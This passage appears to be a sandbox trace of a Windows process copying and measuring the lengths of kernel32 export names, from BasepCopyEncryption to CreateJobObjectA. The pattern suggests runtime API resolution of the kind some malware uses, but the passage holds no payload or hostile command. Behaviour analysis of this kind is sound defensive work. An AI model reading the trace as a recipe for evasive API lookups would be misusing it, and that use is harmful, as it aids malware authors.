lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0126.167] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0126.167] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0126.167] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0126.167] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0126.167] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0126.167] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0126.167] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0126.167] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0126.167] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0126.168] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0126.168] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0126.168] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0126.168] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0126.168] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0126.168] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0126.168] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0126.168] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0126.168] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0126.168] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0126.168] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0126.168] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0126.168] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0126.168] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0126.168] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0126.168] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0126.168] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0126.168] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0126.168] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0126.168] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0126.168] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0126.168] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0126.168] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0126.168] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0126.168] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0126.168] lstrlenA (lpString="BEEP") returned 4 [0126.168] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0126.168] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0126.168] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0126.168] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0126.168] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0126.168] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0126.168] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0126.168] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0126.169] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0126.169] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0126.169] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0126.169] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0126.169] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0126.169] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0126.169] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0126.169] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0126.169] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0126.169] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0126.169] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0126.169] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0126.169] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0126.169] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0126.169] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0126.169] lstrlenA (lpString="CANCELIO") returned 8 [0126.169] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0126.169] lstrlenA (lpString="CANCELIOEX") returned 10 [0126.169] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0126.169] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0126.169] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0126.169] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0126.169] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0126.169] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0126.169] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0126.169] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0126.169] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0126.169] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0126.169] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0126.169] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0126.169] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0126.169] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0126.169] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0126.170] lstrlenA (lpString="CHECKELEVATION") returned 14 [0126.170] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0126.170] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0126.170] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0126.170] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0126.170] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0126.170] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0126.170] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0126.170] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0126.170] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0126.170] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0126.170] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0126.170] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0126.170] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0126.170] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0126.170] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0126.170] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0126.170] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0126.170] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0126.170] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0126.170] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0126.170] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0126.170] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0126.170] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0126.170] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0126.170] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0126.170] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0126.170] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0126.170] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0126.170] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0126.170] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0126.170] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0126.170] lstrlenA (lpString="CLOSESTATE") returned 10 [0126.170] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0126.171] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0126.171] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0126.171] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0126.171] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0126.171] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0126.171] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0126.171] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0126.171] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0126.171] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0126.171] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0126.171] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0126.171] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0126.171] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0126.171] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0126.171] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0126.171] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0126.171] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0126.171] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0126.171] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0126.171] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0126.171] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0126.171] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0126.171] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0126.171] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0126.171] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0126.171] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0126.171] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0126.171] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0126.171] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0126.171] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0126.171] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0126.171] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0126.171] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0126.171] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0126.172] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0126.172] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0126.172] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0126.172] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0126.172] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0126.172] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0126.172] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0126.172] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0126.172] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0126.172] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0126.172] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0126.172] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0126.172] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0126.172] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0126.172] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0126.172] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0126.172] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0126.172] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0126.172] lstrlenA (lpString="COPYCONTEXT") returned 11 [0126.172] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0126.172] lstrlenA (lpString="COPYFILE2") returned 9 [0126.172] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0126.172] lstrlenA (lpString="COPYFILEA") returned 9 [0126.172] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0126.172] lstrlenA (lpString="COPYFILEEXA") returned 11 [0126.172] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0126.172] lstrlenA (lpString="COPYFILEEXW") returned 11 [0126.172] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0126.172] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0126.172] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0126.172] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0126.172] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0126.172] lstrlenA (lpString="COPYFILEW") returned 9 [0126.172] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0126.173] lstrlenA (lpString="COPYLZFILE") returned 10 [0126.173] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0126.173] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0126.173] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0126.173] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0126.173] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0126.173] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0126.173] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0126.173] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0126.173] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0126.173] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0126.173] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0126.173] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0126.173] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0126.173] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0126.173] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0126.173] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0126.173] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0126.173] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0126.173] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0126.173] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0126.173] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0126.173] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0126.173] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0126.173] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0126.173] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0126.173] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0126.173] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0126.173] lstrlenA (lpString="CREATEEVENTA") returned 12 [0126.173] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0126.173] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0126.173] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0126.173] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0126.173] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0126.174] lstrlenA (lpString="CREATEEVENTW") returned 12 [0126.174] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0126.174] lstrlenA (lpString="CREATEFIBER") returned 11 [0126.174] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0126.174] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0126.174] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0126.174] lstrlenA (lpString="CREATEFILE2") returned 11 [0126.174] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0126.174] lstrlenA (lpString="CREATEFILEA") returned 11 [0126.174] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0126.174] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0126.174] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0126.174] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0126.174] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0126.174] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0126.174] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0126.174] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0126.174] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0126.174] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0126.174] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0126.174] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0126.174] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0126.174] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0126.174] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0126.174] lstrlenA (lpString="CREATEFILEW") returned 11 [0126.175] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0126.175] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0126.175] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0126.175] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0126.175] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0126.175] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0126.175] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0126.175] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0126.175] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0126.175] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0126.175] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0126.175] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0126.175] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0126.175] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0126.175] lstrcpyA (in: lpString1=0x38bdb2c, 